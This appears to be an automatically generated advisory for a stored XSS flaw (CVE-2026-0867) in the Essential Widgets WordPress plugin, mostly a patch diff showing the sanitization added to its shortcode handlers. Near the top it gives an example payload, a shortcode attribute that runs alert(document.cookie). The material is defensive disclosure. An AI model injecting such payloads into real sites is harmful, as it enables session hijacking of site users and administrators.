Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0867: Essential Widgets <= 3.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple Shortcodes (essential-widgets)

CVE ID CVE-2026-0867
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.0
Patched Version 3.0.1
Disclosed February 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0867:
The Essential Widgets WordPress plugin, versions up to and including 3.0, contains an authenticated stored cross-site scripting (XSS) vulnerability. The vulnerability affects the plugin’s shortcode handlers for ew-author, ew-archive, ew-category, ew-page, and ew-menu. Attackers with contributor-level access or higher can inject malicious scripts into posts or pages. These scripts execute when a user views the compromised content. The CVSS score of 6.4 reflects a medium severity impact.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping for user-supplied shortcode attributes. The vulnerable code resides in the shortcode callback functions within the plugin’s block includes directory. Specifically, the functions ew_archive_render_shortcode, ew_author_render_shortcode, ew_category_render_shortcode, ew_menu_render_shortcode, and ew_page_render_shortcode in their respective index.php files directly assigned user input from the $atts array to instance variables without proper validation. For example, in the ew-archive shortcode handler, attributes like ‘before’ and ‘after’ were assigned directly from $atts[‘before’] and $atts[‘after’] without sanitization.

An attacker exploits this vulnerability by creating or editing a post with a malicious shortcode. The attacker embeds a shortcode like [ew-archive before=’alert(document.cookie)’] or [ew-menu link_before=’‘]. Contributor-level users can publish posts, so the payload becomes stored. When any user, including administrators, views the post, the browser executes the injected JavaScript. The attack vector requires no direct server-side interaction beyond posting content.

The patch in version 3.0.1 introduces comprehensive input sanitization and validation for all shortcode attributes. The changes replace direct assignment with sanitization functions like wp_kses_post for HTML fields, sanitize_text_field for text, absint for integers, and sanitize_key for enumerated values. The patch also implements allowlisting for parameters with limited valid options, such as ‘type’, ‘order’, and ‘format’. For instance, the ew_archive_render_shortcode function now uses wp_kses_post on the ‘before’ and ‘after’ attributes and validates ‘type’ against an array of allowed values. The patch ensures user input is safe before the widget class processes it.

Successful exploitation allows attackers to perform actions within the victim’s browser context. This can lead to session hijacking, account takeover, defacement, or redirection to malicious sites. Attackers could steal sensitive information like session cookies or manipulate the WordPress admin interface if an administrator views the compromised page. The stored nature of the vulnerability means a single injection can affect multiple users over time.

Differential between vulnerable and patched code

Code Diff
--- a/essential-widgets/essential-widgets.php
+++ b/essential-widgets/essential-widgets.php
@@ -16,7 +16,7 @@
  * Plugin Name:       Essential Widgets
  * Plugin URI:        https://catchplugins.com/plugins/essential-widgets/
  * Description:       Essential Widgets is a WordPress plugin for widgets that allows you to create and add amazing widgets with high customization option on your website without affecting your wallet.
- * Version:           3.0
+ * Version:           3.0.1
  * Author:            Catch Plugins
  * Author URI:        https://catchplugins.com/
  * License:           GPL-2.0+
@@ -31,7 +31,7 @@
 }

 // Define Version
-define( 'ESSENTIAL_WIDGETS_VERSION', '3.0' );
+define( 'ESSENTIAL_WIDGETS_VERSION', '3.0.1' );

 /**
  * The code that runs during plugin activation.
--- a/essential-widgets/includes/ew-block/blocks/ew-archive/index.php
+++ b/essential-widgets/includes/ew-block/blocks/ew-archive/index.php
@@ -1,10 +1,9 @@
 <?php
-
 if ( ! defined( 'ABSPATH' ) ) {
     exit; // Exit if accessed directly.
 }

-// Hook the post rendering to the block
+// Register block and shortcode
 if ( function_exists( 'register_block_type' ) ) :
 	register_block_type(
 		'ew-block/ew-archive',
@@ -56,19 +55,32 @@
 	);
 endif;

+// Shortcode callback
 if ( ! function_exists( 'ew_archive_render_shortcode' ) ) :
 	add_shortcode( 'ew-archive', 'ew_archive_render_shortcode' );
 	function ew_archive_render_shortcode( $atts ) {
-		$instance['title']           = sanitize_text_field( $atts['title'] );
-		$instance['limit']           = $atts['limit'];
-		$instance['type']            = $atts['type'];
-		$instance['post_type']       = $atts['post_type'];
-		$instance['order']           = $atts['order'];
-		$instance['format']          = $atts['format'];
-		$instance['before']          = $atts['before'];
-		$instance['after']           = $atts['after'];
-		$instance['show_post_count'] = $atts['show_post_count'];
-		$instance['is_block']        = $atts['is_block'];
+		// Sanitize all attributes
+		$instance = array(
+			'title'           => sanitize_text_field( $atts['title'] ?? '' ),
+			'limit'           => intval( $atts['limit'] ?? 10 ),
+			'type'            => sanitize_key( $atts['type'] ?? 'monthly' ),
+			'post_type'       => sanitize_key( $atts['post_type'] ?? 'post' ),
+			'order'           => sanitize_key( $atts['order'] ?? 'asc' ),
+			'format'          => sanitize_key( $atts['format'] ?? 'html' ),
+			'before'          => wp_kses_post( $atts['before'] ?? '' ),
+			'after'           => wp_kses_post( $atts['after'] ?? '' ),
+			'show_post_count' => ! empty( $atts['show_post_count'] ) ? 1 : 0,
+			'is_block'        => ! empty( $atts['is_block'] ) ? true : false,
+		);
+
+		// Whitelist options
+		$allowed_types   = array( 'alpha', 'daily', 'monthly', 'postbypost', 'weekly', 'yearly' );
+		$allowed_orders  = array( 'ASC', 'DESC', 'asc', 'desc' );
+		$allowed_formats = array( 'custom', 'html', 'option' );
+
+		$instance['type']   = in_array( $instance['type'], $allowed_types, true ) ? $instance['type'] : 'monthly';
+		$instance['order']  = in_array( $instance['order'], $allowed_orders, true ) ? $instance['order'] : 'asc';
+		$instance['format'] = in_array( $instance['format'], $allowed_formats, true ) ? $instance['format'] : 'html';

 		$ew_archive = new EW_Archives();

--- a/essential-widgets/includes/ew-block/blocks/ew-author/index.php
+++ b/essential-widgets/includes/ew-block/blocks/ew-author/index.php
@@ -82,25 +82,83 @@

 if ( ! function_exists( 'ew_author_render_shortcode' ) ) :
 	add_shortcode( 'ew-author', 'ew_author_render_shortcode' );
+
 	function ew_author_render_shortcode( $atts ) {
-		$instance['title']         = isset( $atts['title'] ) && 'Authors' === $atts['title']
+
+		$atts = shortcode_atts(
+			array(
+				'title'         => 'Authors',
+				'order'         => 'ASC',
+				'orderby'       => 'display_name',
+				'number'        => 5,
+				'include'       => '',
+				'exclude'       => '',
+				'optioncount'   => false,
+				'exclude_admin' => false,
+				'show_fullname' => false,
+				'hide_empty'    => true,
+				'style'         => 'list',
+				'html'          => true,
+				'feed'          => '',
+				'feed_type'     => '',
+				'feed_image'    => '',
+				'is_block'      => true,
+			),
+			$atts,
+			'ew-author'
+		);
+
+		$instance = array();
+
+		// Title
+		$instance['title'] = ( 'Authors' === $atts['title'] )
 			? esc_html__( 'Authors', 'essential-widgets' )
 			: sanitize_text_field( $atts['title'] );
-		$instance['order']         = $atts['order'];
-		$instance['orderby']       = $atts['orderby'];
-		$instance['number']        = $atts['number'];
-		$instance['include']       = $atts['include'];
-		$instance['exclude']       = $atts['exclude'];
-		$instance['optioncount']   = $atts['optioncount'];
-		$instance['exclude_admin'] = $atts['exclude_admin'];
-		$instance['show_fullname'] = $atts['show_fullname'];
-		$instance['hide_empty']    = $atts['hide_empty'];
-		$instance['style']         = $atts['style'];
-		$instance['html']          = $atts['html'];
-		$instance['feed']          = $atts['feed'];
-		$instance['feed_type']     = $atts['feed_type'];
-		$instance['feed_image']    = $atts['feed_image'];
-		$instance['is_block']      = $atts['is_block'];
+
+		// Whitelist order
+		$allowed_order = array( 'ASC', 'DESC' );
+		$instance['order'] = in_array( strtoupper( $atts['order'] ), $allowed_order, true )
+			? strtoupper( $atts['order'] )
+			: 'ASC';
+
+		// Whitelist orderby
+		$allowed_orderby = array(
+			'display_name',
+			'user_login',
+			'user_nicename',
+			'user_email',
+			'ID',
+			'post_count',
+		);
+		$instance['orderby'] = in_array( $atts['orderby'], $allowed_orderby, true )
+			? $atts['orderby']
+			: 'display_name';
+
+		// Numbers
+		$instance['number'] = absint( $atts['number'] );
+
+		// Allow only IDs (numbers + commas)
+		$instance['include'] = preg_replace( '/[^0-9,]/', '', sanitize_text_field( $atts['include'] ) );
+		$instance['exclude'] = preg_replace( '/[^0-9,]/', '', sanitize_text_field( $atts['exclude'] ) );
+
+		// Booleans
+		$instance['optioncount']   = (bool) $atts['optioncount'];
+		$instance['exclude_admin'] = (bool) $atts['exclude_admin'];
+		$instance['show_fullname'] = (bool) $atts['show_fullname'];
+		$instance['hide_empty']    = (bool) $atts['hide_empty'];
+		$instance['html']          = (bool) $atts['html'];
+		$instance['is_block']      = (bool) $atts['is_block'];
+
+		// Style whitelist
+		$allowed_styles = array( 'list', 'dropdown' );
+		$instance['style'] = in_array( $atts['style'], $allowed_styles, true )
+			? $atts['style']
+			: 'list';
+
+		// Feed fields
+		$instance['feed']       = sanitize_text_field( $atts['feed'] );
+		$instance['feed_type']  = sanitize_text_field( $atts['feed_type'] );
+		$instance['feed_image'] = sanitize_text_field( $atts['feed_image'] );

 		$ew_author = new EW_Authors();

--- a/essential-widgets/includes/ew-block/blocks/ew-category/index.php
+++ b/essential-widgets/includes/ew-block/blocks/ew-category/index.php
@@ -103,32 +103,38 @@
 if ( ! function_exists( 'ew_category_render_shortcode' ) ) :
 	add_shortcode( 'ew-category', 'ew_category_render_shortcode' );
 	function ew_category_render_shortcode( $atts ) {
-		$instance['title']         = isset( $atts['title'] ) && 'Categories' === $atts['title']
-			? esc_html__( 'Categories', 'essential-widgets' )
-			: sanitize_text_field( $atts['title'] );
-		$instance['taxonomy']           = $atts['taxonomy'];
-		$instance['style']              = $atts['style'];
-		$instance['include']            = $atts['include'];
-		$instance['exclude']            = $atts['exclude'];
-		$instance['exclude_tree']       = $atts['exclude_tree'];
-		$instance['child_of']           = $atts['child_of'];
-		$instance['current_category']   = $atts['current_category'];
-		$instance['search']             = $atts['search'];
-		$instance['hierarchical']       = $atts['hierarchical'];
-		$instance['hide_empty']         = $atts['hide_empty'];
-		$instance['order']              = $atts['order'];
-		$instance['orderby']            = $atts['orderby'];
-		$instance['depth']              = $atts['depth'];
-		$instance['number']             = $atts['number'];
-		$instance['feed']               = $atts['feed'];
-		$instance['feed_type']          = $atts['feed_type'];
-		$instance['feed_image']         = $atts['feed_image'];
-		$instance['use_desc_for_title'] = $atts['use_desc_for_title'];
-		$instance['show_count']         = $atts['show_count'];
-		$instance['is_block']           = $atts['is_block'];
+	    $instance = array();

-		$ew_category = new EW_Categories();
+	    // Title
+	    $instance['title'] = isset( $atts['title'] ) && 'Categories' === $atts['title']
+	        ? esc_html__( 'Categories', 'essential-widgets' )
+	        : sanitize_text_field( $atts['title'] );

-		return $ew_category->shortcode( $instance );
+	    // Sanitize & validate inputs
+	    $instance['taxonomy']           = sanitize_key( $atts['taxonomy'] ?? 'category' );
+	    $instance['style']              = in_array( $atts['style'] ?? 'list', ['list','none'], true ) ? $atts['style'] : 'list';
+	    $instance['include']            = preg_replace('/[^0-9,]/', '', $atts['include'] ?? '');
+	    $instance['exclude']            = preg_replace('/[^0-9,]/', '', $atts['exclude'] ?? '');
+	    $instance['exclude_tree']       = preg_replace('/[^0-9,]/', '', $atts['exclude_tree'] ?? '');
+	    $instance['child_of']           = absint( $atts['child_of'] ?? 0 );
+	    $instance['current_category']   = absint( $atts['current_category'] ?? 0 );
+	    $instance['search']             = sanitize_text_field( $atts['search'] ?? '' );
+	    $instance['hierarchical']       = isset( $atts['hierarchical'] ) ? (bool) $atts['hierarchical'] : true;
+	    $instance['hide_empty']         = isset( $atts['hide_empty'] ) ? (bool) $atts['hide_empty'] : true;
+	    $instance['order']              = in_array( $atts['order'] ?? 'ASC', ['ASC','DESC'], true ) ? $atts['order'] : 'ASC';
+	    $instance['orderby']            = in_array( $atts['orderby'] ?? 'name', ['count','ID','name','slug','term_group'], true ) ? $atts['orderby'] : 'name';
+	    $instance['depth']              = absint( $atts['depth'] ?? 0 );
+	    $instance['number']             = absint( $atts['number'] ?? 10 );
+	    $instance['feed']               = sanitize_text_field( $atts['feed'] ?? '' );
+	    $feed_type 						= $atts['feed_type'] ?? '';
+		$instance['feed_type'] 			= in_array( $feed_type, ['', 'atom','rdf','rss','rss2'], true ) ? $feed_type : '';
+	    $instance['feed_image']         = esc_url_raw( $atts['feed_image'] ?? '' );
+	    $instance['use_desc_for_title'] = isset( $atts['use_desc_for_title'] ) ? (bool) $atts['use_desc_for_title'] : false;
+	    $instance['show_count']         = isset( $atts['show_count'] ) ? (bool) $atts['show_count'] : false;
+	    $instance['is_block']           = isset( $atts['is_block'] ) ? (bool) $atts['is_block'] : true;
+
+	    // Generate output via widget shortcode method
+	    $ew_category = new EW_Categories();
+	    return $ew_category->shortcode( $instance );
 	}
 endif;
--- a/essential-widgets/includes/ew-block/blocks/ew-menu/index.php
+++ b/essential-widgets/includes/ew-block/blocks/ew-menu/index.php
@@ -76,22 +76,23 @@
 if ( ! function_exists( 'ew_menu_render_shortcode' ) ) :
 	add_shortcode( 'ew-menu', 'ew_menu_render_shortcode' );
 	function ew_menu_render_shortcode( $atts ) {
-		$instance['title']         = isset( $atts['title'] ) && 'Navigation' === $atts['title']
-			? esc_html__( 'Navigation', 'essential-widgets' )
-			: sanitize_text_field( $atts['title'] );
-		$instance['menu']            = $atts['menu'];
-		$instance['container']       = $atts['container'];
-		$instance['container_id']    = $atts['container_id'];
-		$instance['container_class'] = $atts['container_class'];
-		$instance['menu_id']         = $atts['menu_id'];
-		$instance['menu_class']      = $atts['menu_class'];
-		$instance['depth']           = $atts['depth'];
-		$instance['before']          = $atts['before'];
-		$instance['after']           = $atts['after'];
-		$instance['link_before']     = $atts['link_before'];
-		$instance['link_after']      = $atts['link_after'];
-		$instance['fallback_cb']     = $atts['fallback_cb'];
-		$instance['is_block']        = $atts['is_block'];
+		$instance['title'] 			= isset( $atts['title'] ) && 'Navigation' === $atts['title']
+    		? esc_html__( 'Navigation', 'essential-widgets' )
+    		: sanitize_text_field( $atts['title'] );
+
+		$instance['menu']            = isset( $atts['menu'] ) ? sanitize_text_field( $atts['menu'] ) : '';
+		$instance['container']       = isset( $atts['container'] ) ? sanitize_key( $atts['container'] ) : 'div';
+		$instance['container_id']    = isset( $atts['container_id'] ) ? sanitize_html_class( $atts['container_id'] ) : '';
+		$instance['container_class'] = isset( $atts['container_class'] ) ? sanitize_html_class( $atts['container_class'] ) : '';
+		$instance['menu_id']         = isset( $atts['menu_id'] ) ? sanitize_html_class( $atts['menu_id'] ) : '';
+		$instance['menu_class']      = isset( $atts['menu_class'] ) ? sanitize_html_class( $atts['menu_class'] ) : 'nav-menu';
+		$instance['depth']           = isset( $atts['depth'] ) ? absint( $atts['depth'] ) : 0;
+		$instance['before']          = isset( $atts['before'] ) ? wp_kses_post( $atts['before'] ) : '';
+		$instance['after']           = isset( $atts['after'] ) ? wp_kses_post( $atts['after'] ) : '';
+		$instance['link_before']     = isset( $atts['link_before'] ) ? wp_kses_post( $atts['link_before'] ) : '';
+		$instance['link_after']      = isset( $atts['link_after'] ) ? wp_kses_post( $atts['link_after'] ) : '';
+		$instance['fallback_cb']     = isset( $atts['fallback_cb'] ) && function_exists( $atts['fallback_cb'] ) ? $atts['fallback_cb'] : 'wp_page_menu';
+		$instance['is_block']        = !empty( $atts['is_block'] ) ? (bool) $atts['is_block'] : true;

 		$ew_menu = new EW_Menus();

@@ -113,8 +114,8 @@

 		foreach ( $menus as $menu ) {
 			$object        = new stdClass();
-			$object->label = $menu->name;
-			$object->value = $menu->term_id;
+			$object->label = sanitize_text_field( $menu->name );
+			$object->value = absint( $menu->term_id );
 			$menu_list[]   = $object;
 		}

--- a/essential-widgets/includes/ew-block/blocks/ew-page/index.php
+++ b/essential-widgets/includes/ew-block/blocks/ew-page/index.php
@@ -99,29 +99,77 @@

 if ( ! function_exists( 'ew_page_render_shortcode' ) ) :
 	add_shortcode( 'ew-page', 'ew_page_render_shortcode' );
+
 	function ew_page_render_shortcode( $atts ) {
-		$instance['title']         = isset( $atts['title'] ) && 'Pages' === $atts['title']
+
+		$atts = shortcode_atts(
+			array(
+				'title'         => 'Pages',
+				'post_type'     => 'page',
+				'depth'         => 0,
+				'number'        => 10,
+				'offset'        => 0,
+				'child_of'      => '',
+				'include'       => '',
+				'exclude'       => '',
+				'exclude_tree'  => '',
+				'meta_key'      => '',
+				'meta_value'    => '',
+				'authors'       => '',
+				'link_before'   => '',
+				'link_after'    => '',
+				'show_date'     => '',
+				'hierarchical'  => true,
+				'sort_column'   => 'post_title',
+				'sort_order'    => 'ASC',
+				'date_format'   => '',
+				'is_block'      => true,
+			),
+			$atts,
+			'ew-page'
+		);
+
+		$instance = array();
+
+		$instance['title'] = ( 'Pages' === $atts['title'] )
 			? esc_html__( 'Pages', 'essential-widgets' )
 			: sanitize_text_field( $atts['title'] );
-		$instance['post_type']    = $atts['post_type'];
-		$instance['depth']        = $atts['depth'];
-		$instance['number']       = $atts['number'];
-		$instance['offset']       = $atts['offset'];
-		$instance['child_of']     = $atts['child_of'];
-		$instance['include']      = $atts['include'];
-		$instance['exclude']      = $atts['exclude'];
-		$instance['exclude_tree'] = $atts['exclude_tree'];
-		$instance['meta_key']     = $atts['meta_key'];
-		$instance['meta_value']   = $atts['meta_value'];
-		$instance['authors']      = $atts['authors'];
-		$instance['link_before']  = $atts['link_before'];
-		$instance['link_after']   = $atts['link_after'];
-		$instance['show_date']    = $atts['show_date'];
-		$instance['hierarchical'] = $atts['hierarchical'];
-		$instance['sort_column']  = $atts['sort_column'];
-		$instance['sort_order']   = $atts['sort_order'];
-		$instance['date_format']  = $atts['date_format'];
-		$instance['is_block']     = $atts['is_block'];
+
+		$instance['post_type'] = sanitize_key( $atts['post_type'] );
+
+		$instance['depth']   = absint( $atts['depth'] );
+		$instance['number']  = absint( $atts['number'] );
+		$instance['offset']  = absint( $atts['offset'] );
+
+		$instance['child_of']     = absint( $atts['child_of'] );
+		$instance['include']      = sanitize_text_field( $atts['include'] );
+		$instance['exclude']      = sanitize_text_field( $atts['exclude'] );
+		$instance['exclude_tree'] = sanitize_text_field( $atts['exclude_tree'] );
+
+		$instance['meta_key']   = sanitize_key( $atts['meta_key'] );
+		$instance['meta_value'] = sanitize_text_field( $atts['meta_value'] );
+
+		$instance['authors'] = sanitize_text_field( $atts['authors'] );
+
+		$instance['link_before'] = wp_kses_post( $atts['link_before'] );
+		$instance['link_after']  = wp_kses_post( $atts['link_after'] );
+
+		$instance['show_date']   = sanitize_text_field( $atts['show_date'] );
+		$instance['date_format'] = sanitize_text_field( $atts['date_format'] );
+
+		$instance['hierarchical'] = (bool) $atts['hierarchical'];
+		$instance['is_block']     = (bool) $atts['is_block'];
+
+		// Whitelist sorting values
+		$allowed_order = array( 'ASC', 'DESC' );
+		$instance['sort_order'] = in_array( strtoupper( $atts['sort_order'] ), $allowed_order, true )
+			? strtoupper( $atts['sort_order'] )
+			: 'ASC';
+
+		$allowed_columns = array( 'post_title', 'menu_order', 'post_date', 'post_modified', 'ID' );
+		$instance['sort_column'] = in_array( $atts['sort_column'], $allowed_columns, true )
+			? $atts['sort_column']
+			: 'post_title';

 		$ew_page = new EW_Pages();

@@ -149,8 +197,8 @@

 		foreach ( $post_types as $page ) {
 			$object        = new stdClass();
-			$object->label = $page->labels->singular_name;
-			$object->value = $page->name;
+			$object->label = sanitize_text_field( $page->labels->singular_name );
+			$object->value = sanitize_key( $page->name );
 			$page_list[]   = $object;
 		}

--- a/essential-widgets/includes/ew-block/blocks/ew-post/index.php
+++ b/essential-widgets/includes/ew-block/blocks/ew-post/index.php
@@ -55,13 +55,18 @@
 		$instance['title']         = isset( $atts['title'] ) && 'Posts' === $atts['title']
 			? esc_html__( 'Posts', 'essential-widgets' )
 			: sanitize_text_field( $atts['title'] );
-		$instance['post_type']   = $atts['post_type'];
-		$instance['number']      = $atts['number'];
-		$instance['show_date']   = $atts['show_date'];
-		$instance['show_author'] = $atts['show_author'];
-		$instance['order']       = $atts['order'];
-		$instance['orderby']     = $atts['orderby'];
-		$instance['is_block']    = $atts['is_block'];
+		$instance['post_type']   = array_map('sanitize_key', (array) $atts['post_type']);
+		$instance['number']      = intval($atts['number']);
+		$instance['show_date']   = !empty($atts['show_date']);
+		$instance['show_author'] = !empty($atts['show_author']);
+		$instance['order'] = ( isset( $atts['order'] ) && in_array( $atts['order'], ['ASC','DESC'], true ) )
+		    ? $atts['order']
+		    : 'DESC';
+
+		$instance['orderby'] = ( isset( $atts['orderby'] ) && in_array( $atts['orderby'], ['author','name','none','type','date','ID','modified','parent','comment_count','menu_order','title'], true ) )
+		    ? $atts['orderby']
+		    : 'date';
+		$instance['is_block']    = !empty($atts['is_block']);

 		$ew_post = new EW_Posts();

--- a/essential-widgets/includes/widgets/class-ew-archives.php
+++ b/essential-widgets/includes/widgets/class-ew-archives.php
@@ -1,344 +1,245 @@
 <?php
-
 if ( ! defined( 'ABSPATH' ) ) {
     exit; // Exit if accessed directly.
 }

-/**
- * Custom Archive Widget
- *
- * @package Essential_Widgets
- */
-
-
-/**
- * Custom Archive Widget
- */
 if ( ! class_exists( 'EW_Archives' ) ) :
-	class EW_Archives extends WP_Widget {
+class EW_Archives extends WP_Widget {

+	protected $defaults;

-		/**
-		 * Holds widget settings defaults, populated in constructor.
-		 *
-		 * @var array
-		 */
-		protected $defaults;
-
-		public function __construct() {
-			// Set up defaults.
-			$this->defaults = array(
-				'title'           => esc_attr__( 'Archives', 'essential-widgets' ),
-				'limit'           => 10,
-				'type'            => 'monthly',
-				'post_type'       => 'post',
-				'order'           => 'DESC',
-				'format'          => 'html',
-				'before'          => '',
-				'after'           => '',
-				'show_post_count' => false,
-			);
-
-			$widget_ops = array(
+	public function __construct() {
+		$this->defaults = array(
+			'title'           => esc_attr__( 'Archives', 'essential-widgets' ),
+			'limit'           => 10,
+			'type'            => 'monthly',
+			'post_type'       => 'post',
+			'order'           => 'DESC',
+			'format'          => 'html',
+			'before'          => '',
+			'after'           => '',
+			'show_post_count' => false,
+		);
+
+		parent::__construct(
+			'ew-archive',
+			__( 'EW: Archives', 'essential-widgets' ),
+			array(
 				'classname'   => 'essential-widgets widget_archive ew-archive ewarchive',
 				'description' => esc_html__( 'Displays a list of categories', 'essential-widgets' ),
-			);
-
-			$control_ops = array(
+			),
+			array(
 				'id_base' => 'ew-archive',
-			);
+			)
+		);
+	}

-			parent::__construct(
-				'ew-archive', // Base ID
-				__( 'EW: Archives', 'essential-widgets' ), // Name
-				$widget_ops,
-				$control_ops
-			);
-		}
+	public function form( $instance ) {
+		$instance = wp_parse_args( (array) $instance, $this->defaults );

-		public function form( $instance ) {
-			// Merge the user-selected arguments with the defaults.
-			$instance = wp_parse_args( (array) $instance, $this->defaults );
-
-			// Get post types.
-			$post_types = get_post_types( array( 'name' => 'post' ), 'objects' );
-			$post_types = array_merge(
-				$post_types,
-				get_post_types(
-					array(
-						'publicly_queryable' => true,
-						'_builtin'           => false,
-					),
-					'objects'
-				)
-			);
-
-			// Create an array of archive types.
-			$type = array(
-				'alpha'      => esc_attr__( 'Alphabetical', 'essential-widgets' ),
-				'daily'      => esc_attr__( 'Daily', 'essential-widgets' ),
-				'monthly'    => esc_attr__( 'Monthly', 'essential-widgets' ),
-				'postbypost' => esc_attr__( 'Post By Post', 'essential-widgets' ),
-				'weekly'     => esc_attr__( 'Weekly', 'essential-widgets' ),
-				'yearly'     => esc_attr__( 'Yearly', 'essential-widgets' ),
-			);
-
-			// Create an array of order options.
-			$order = array(
-				'ASC'  => esc_attr__( 'Ascending', 'essential-widgets' ),
-				'DESC' => esc_attr__( 'Descending', 'essential-widgets' ),
-			);
-
-			// Create an array of archive formats.
-			$format = array(
-				'custom' => esc_attr__( 'Plain', 'essential-widgets' ),
-				'html'   => esc_attr__( 'List', 'essential-widgets' ),
-				'option' => esc_attr__( 'Dropdown', 'essential-widgets' ),
-			); ?>
-
-			<p>
-				<label>
-					<?php esc_html_e( 'Title:', 'essential-widgets' ); ?>
-					<input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>" value="<?php echo esc_attr( $instance['title'] ); ?>" placeholder="<?php echo esc_attr( $this->defaults['title'] ); ?>" />
-				</label>
-			</p>
-
-			<p>
-				<label>
-					<?php esc_html_e( 'Limit:', 'essential-widgets' ); ?></label>
-				<input type="number" class="widefat" size="5" min="0" name="<?php echo esc_attr( $this->get_field_name( 'limit' ) ); ?>" value="<?php echo esc_attr( $instance['limit'] ); ?>" placeholder="10" />
-				</label>
-			</p>
-
-			<p>
-				<label>
-					<?php esc_html_e( 'Type:', 'essential-widgets' ); ?>
-
-					<select class="widefat" name="<?php echo esc_attr( $this->get_field_name( 'type' ) ); ?>">
-
-						<?php foreach ( $type as $option_value => $option_label ) : ?>
-
-							<option value="<?php echo esc_attr( $option_value ); ?>" <?php selected( $instance['type'], $option_value ); ?>><?php echo esc_html( $option_label ); ?></option>
-
-						<?php endforeach; ?>
-
-					</select>
-				</label>
-			</p>
-
-			<p>
-				<label>
-					<?php esc_html_e( 'Post Type:', 'essential-widgets' ); ?>
-
-					<select class="widefat" name="<?php echo esc_attr( $this->get_field_name( 'post_type' ) ); ?>">
-
-						<?php foreach ( $post_types as $post_type ) : ?>
-
-							<option value="<?php echo esc_attr( $post_type->name ); ?>" <?php selected( $instance['post_type'], $post_type->name ); ?>><?php echo esc_html( $post_type->labels->singular_name ); ?></option>
-
-						<?php endforeach; ?>
-
-					</select>
-				</label>
-			</p>
-
-			<p>
-				<label>
-					<?php esc_html_e( 'Order:', 'essential-widgets' ); ?>
-
-					<select class="widefat" name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>">
-
-						<?php foreach ( $order as $option_value => $option_label ) : ?>
-
-							<option value="<?php echo esc_attr( $option_value ); ?>" <?php selected( $instance['order'], $option_value ); ?>><?php echo esc_html( $option_label ); ?></option>
-
-						<?php endforeach; ?>
-
-					</select>
-				</label>
-			</p>
-
-			<p>
-				<label>
-					<?php esc_html_e( 'Display as:', 'essential-widgets' ); ?></label>
+		$post_types = get_post_types( array( 'name' => 'post' ), 'objects' );
+		$post_types = array_merge(
+			$post_types,
+			get_post_types( array( 'publicly_queryable' => true, '_builtin' => false ), 'objects' )
+		);
+
+		$type = array(
+			'alpha'      => esc_attr__( 'Alphabetical', 'essential-widgets' ),
+			'daily'      => esc_attr__( 'Daily', 'essential-widgets' ),
+			'monthly'    => esc_attr__( 'Monthly', 'essential-widgets' ),
+			'postbypost' => esc_attr__( 'Post By Post', 'essential-widgets' ),
+			'weekly'     => esc_attr__( 'Weekly', 'essential-widgets' ),
+			'yearly'     => esc_attr__( 'Yearly', 'essential-widgets' ),
+		);
+
+		$order = array(
+			'ASC'  => esc_attr__( 'Ascending', 'essential-widgets' ),
+			'DESC' => esc_attr__( 'Descending', 'essential-widgets' ),
+		);
+
+		$format = array(
+			'custom' => esc_attr__( 'Plain', 'essential-widgets' ),
+			'html'   => esc_attr__( 'List', 'essential-widgets' ),
+			'option' => esc_attr__( 'Dropdown', 'essential-widgets' ),
+		);
+
+		?>
+		<p>
+			<label><?php esc_html_e( 'Title:', 'essential-widgets' ); ?>
+				<input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id('title') ); ?>" name="<?php echo esc_attr( $this->get_field_name('title') ); ?>" value="<?php echo esc_attr( $instance['title'] ); ?>" placeholder="<?php echo esc_attr( $this->defaults['title'] ); ?>" />
+			</label>
+		</p>
+
+		<p>
+			<label><?php esc_html_e( 'Limit:', 'essential-widgets' ); ?>
+				<input type="number" class="widefat" min="0" name="<?php echo esc_attr( $this->get_field_name('limit') ); ?>" value="<?php echo intval($instance['limit']); ?>" />
+			</label>
+		</p>
+
+		<p>
+			<label><?php esc_html_e( 'Type:', 'essential-widgets' ); ?>
+				<select class="widefat" name="<?php echo esc_attr( $this->get_field_name('type') ); ?>">
+					<?php foreach ( $type as $option_value => $option_label ) : ?>
+						<option value="<?php echo esc_attr( $option_value ); ?>" <?php selected( $instance['type'], $option_value ); ?>><?php echo esc_html( $option_label ); ?></option>
+					<?php endforeach; ?>
+				</select>
+			</label>
+		</p>
+
+		<p>
+			<label><?php esc_html_e( 'Post Type:', 'essential-widgets' ); ?>
+				<select class="widefat" name="<?php echo esc_attr( $this->get_field_name('post_type') ); ?>">
+					<?php foreach ( $post_types as $post_type ) : ?>
+						<option value="<?php echo esc_attr( $post_type->name ); ?>" <?php selected( $instance['post_type'], $post_type->name ); ?>><?php echo esc_html( $post_type->labels->singular_name ); ?></option>
+					<?php endforeach; ?>
+				</select>
+			</label>
+		</p>

-				<select class="widefat" name="<?php echo esc_attr( $this->get_field_name( 'format' ) ); ?>">
+		<p>
+			<label><?php esc_html_e( 'Order:', 'essential-widgets' ); ?>
+				<select class="widefat" name="<?php echo esc_attr( $this->get_field_name('order') ); ?>">
+					<?php foreach ( $order as $option_value => $option_label ) : ?>
+						<option value="<?php echo esc_attr( $option_value ); ?>" <?php selected( $instance['order'], $option_value ); ?>><?php echo esc_html( $option_label ); ?></option>
+					<?php endforeach; ?>
+				</select>
+			</label>
+		</p>

+		<p>
+			<label><?php esc_html_e( 'Display as:', 'essential-widgets' ); ?>
+				<select class="widefat" name="<?php echo esc_attr( $this->get_field_name('format') ); ?>">
 					<?php foreach ( $format as $option_value => $option_label ) : ?>
-
 						<option value="<?php echo esc_attr( $option_value ); ?>" <?php selected( $instance['format'], $option_value ); ?>><?php echo esc_html( $option_label ); ?></option>
-
 					<?php endforeach; ?>
-
 				</select>
-				</label>
-			</p>
+			</label>
+		</p>

-			<p>
-				<label>
-					<?php esc_html_e( 'Before:', 'essential-widgets' ); ?>
-					<input type="text" class="widefat" name="<?php echo esc_attr( $this->get_field_name( 'before' ) ); ?>" value="<?php echo esc_attr( $instance['before'] ); ?>" />
-				</label>
-			</p>
-
-			<p>
-				<label>
-					<?php esc_html_e( 'After:', 'essential-widgets' ); ?>
-					<input type="text" class="widefat" name="<?php echo esc_attr( $this->get_field_name( 'after' ) ); ?>" value="<?php echo esc_attr( $instance['after'] ); ?>" />
-				</label>
